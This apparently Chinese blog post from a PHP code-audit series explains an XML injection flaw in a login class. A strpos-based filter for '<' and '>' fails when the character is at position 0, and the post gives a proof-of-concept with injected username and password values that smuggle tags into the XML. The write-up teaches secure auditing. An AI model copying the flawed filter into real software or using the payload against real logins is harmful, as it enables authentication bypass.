PHP代码审计——Day4-False Beard

漏洞解析

class Login {
  public function __construct($user, $pass) {
    $this->loginViaXml($user, $pass);
  }

  public function loginViaXml($user, $pass) {
    if ( // 防止输入的参数含有<和>符号
      (!strpos($user, '<') || !strpos($user, '>')) &&
      (!strpos($pass, '<') || !strpos($pass, '>'))
    ) {// 重点看这部分,代码用xml结构存储用户的登录信息,此处容易导致数据注入
      $format = '<?xml version="1.0"?>' .
        '<user v="%s"/><pass v="%s"/>';
      $xml = sprintf($format, $user, $pass);
      $xmlElement = new SimpleXMLElement($xml);
      // Perform the actual login.
      $this->login($xmlElement);
    }
  }
}

new Login($_POST['username'], $_POST['password']);

开发人员对输入做了一定的过滤限制,用strpos防止输入的参数含有<和>符号

strpos:查找字符串首次出现的位置
定义:int strpos ( string $haystack , mixed $needle [, int $offset = 0 ] )

但是注意一个细节,返回位置为0和没找到返回的false,取反均为true。于是可以在用户名和密码首字符注入<符号从而注入xml数据

<?php
$user = '<"><injected-tag property="';
$pass = '<injected-tag>';

var_dump(strpos($user, '<'));
var_dump(!strpos($user, '<'));
var_dump(strpos($user, '>'));
var_dump(!strpos($user, '>'));
var_dump( // 防止输入的参数含有<和>符号
      (!strpos($user, '<') || !strpos($user, '>')) &&
      (!strpos($pass, '<') || !strpos($pass, '>'))
 );
// 重点看这部分,代码用xml结构存储用户的登录信息,此处容易导致数据注入
$format = '<?xml version="1.0"?>' .
    '<user v="%s"/><pass v="%s"/>';
$xml = sprintf($format, $user, $pass);
var_dump($xml);
?>
posted @ 2024-04-04 10:28  smile_2233  阅读(15)  评论(0编辑  收藏  举报